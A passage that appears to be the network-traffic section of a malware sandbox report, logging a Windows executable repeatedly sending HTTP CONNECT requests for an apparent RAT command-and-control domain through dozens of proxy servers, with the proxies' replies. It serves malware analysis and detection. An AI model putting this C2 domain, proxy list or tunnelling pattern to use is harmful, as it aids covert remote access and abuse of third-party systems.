Mar 11, 2024 03:30:46.518973112 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 97 ac d2 bc ba 2f 1f ed c5 ac 98 5c 22 97 15 c0 a4 76 3c 11 1b 6d d1 84 fe 06 bf 68 3e 99 7d 78 a6 de 7b 26 43 30 cb 77 Data Ascii: (/\"v<mh>}x{&C0w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.5	54525	72.37.217.3	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.354887962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.5	54440	167.172.86.46	10471	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.417891026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.5	54509	194.4.50.60	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.418281078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.5	54507	23.19.244.109	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.418788910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.5	54529	104.21.31.189	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.419156075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.578984022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.5	54443	216.9.224.113	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.421176910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.772892952 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.5	54446	79.110.202.131	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.422153950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.5	54412	109.194.22.61	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.422707081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.5	54537	185.238.228.67	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.422981024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.579257011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.5	54457	185.49.30.5	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.423387051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.5	54545	104.18.20.160	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.432657003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.587548971 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.5	54541	162.247.243.29	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.432809114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.594156981 CET	159	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 15 content-type: text/plain; charset=utf-8 x-served-by: cache-lax-kwhp1940079 Data Raw: 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 Data Ascii: invalid request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.5	50333	92.205.61.38	36073	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.433265924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.486999989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.599596024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.608310938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.5	50292	93.157.248.108	88	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.449987888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.5	53044	189.39.118.210	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.449987888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1641	192.168.2.5	50378	104.236.0.129	22167	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.461234093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.5	53007	45.11.95.165	5219	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.463190079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202016115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.5	54522	18.169.83.87	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.465862036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.113110065 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1644	192.168.2.5	54293	202.40.181.220	31247	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.468950033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405175924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905529976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.889580011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.5	53060	51.161.33.206	29360	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.469167948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.486990929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.599594116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.608639002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.5	54256	58.84.32.118	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.470191956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.5	54597	172.64.86.217	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.470634937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.625262976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1648	192.168.2.5	54610	172.67.182.102	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.473851919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.628844023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1649	192.168.2.5	54604	216.169.73.65	34679	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.477005959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.014180899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514662027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.584357023 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1650	192.168.2.5	54517	89.168.121.175	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.478677988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.030585051 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1651	192.168.2.5	54477	77.91.74.77	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.481108904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.816641092 CET	129	IN	HTTP/1.1 301 Moved Permanently Location: https://artemis-rat.com:443 Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1652	192.168.2.5	54629	172.67.181.89	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.482943058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.637444019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1653	192.168.2.5	54115	65.169.38.73	26592	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.488612890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1654	192.168.2.5	54615	164.92.86.113	57391	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.490530968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.014522076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702224016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.797343016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1655	192.168.2.5	52946	81.91.231.57	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
